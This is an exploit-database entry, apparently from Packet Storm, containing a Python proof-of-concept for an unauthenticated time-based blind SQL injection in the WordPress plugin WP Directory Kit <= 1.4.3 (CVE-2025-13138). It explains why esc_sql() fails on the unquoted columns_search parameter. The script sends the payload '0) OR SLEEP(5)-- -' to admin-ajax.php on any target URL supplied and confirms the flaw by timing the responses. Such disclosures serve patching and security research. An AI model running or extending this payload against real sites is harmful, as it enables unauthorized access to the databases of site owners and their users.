## https://sploitus.com/exploit?id=PACKETSTORM:226427
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin WP Directory Kit <= 1.4.3 - Unauthenticated Time-Based Blind SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/wpdirectorykit/
# Software Link: https://downloads.wordpress.org/plugin/wpdirectorykit.1.4.3.zip
# Version: 1.4.3 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-13138
r"""
WP Directory Kit <= 1.4.3 registers the nopriv AJAX action wdk_public_action
(includes/class-wpdirectorykit.php:262); ajax_public() dispatches to the frontend controller with no
cap/nonce. The select_2_ajax handler takes the attacker-supplied `columns_search` and, when provided,
uses it verbatim as the search column list; each column is passed through esc_sql() and placed as an
UNQUOTED identifier (application/controllers/Wdk_frontendajax.php:66):
$sql_search .= " ".esc_sql($column)." LIKE '%".esc_sql($_POST['q']['term'])."%'";
$where["($sql_search)"] = NULL;
esc_sql only escapes quotes, which are unnecessary in the unquoted-identifier position, so
`columns_search=0) OR SLEEP(5)-- -` injects raw SQL -> the WHERE becomes `(0) OR SLEEP(5)`.
Payload: 0) OR SLEEP(5)-- - (context: unquoted; no quote/%2527 needed)
Prior state: at least one row in the queried table (wp_wdk_categories) so the WHERE is evaluated โ
on a real directory site there are always categories.
"""
import argparse, sys, time
import requests
requests.packages.urllib3.disable_warnings()
def probe(base, seconds):
d = {"action": "wdk_public_action", "page": "wdk_frontendajax", "function": "select_2_ajax",
"table": "category_m", "columns_search": "0) OR SLEEP(%d)-- -" % seconds, "q[term]": "x"}
t = time.time()
requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=90)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
t0 = probe(base, 0)
t5 = probe(base, args.sleep)
print(f"[*] Target: {base}")
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ unauthenticated attacker-controlled SLEEP delayed the "
f"response by {t5 - t0:.2f}s (columns_search param).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())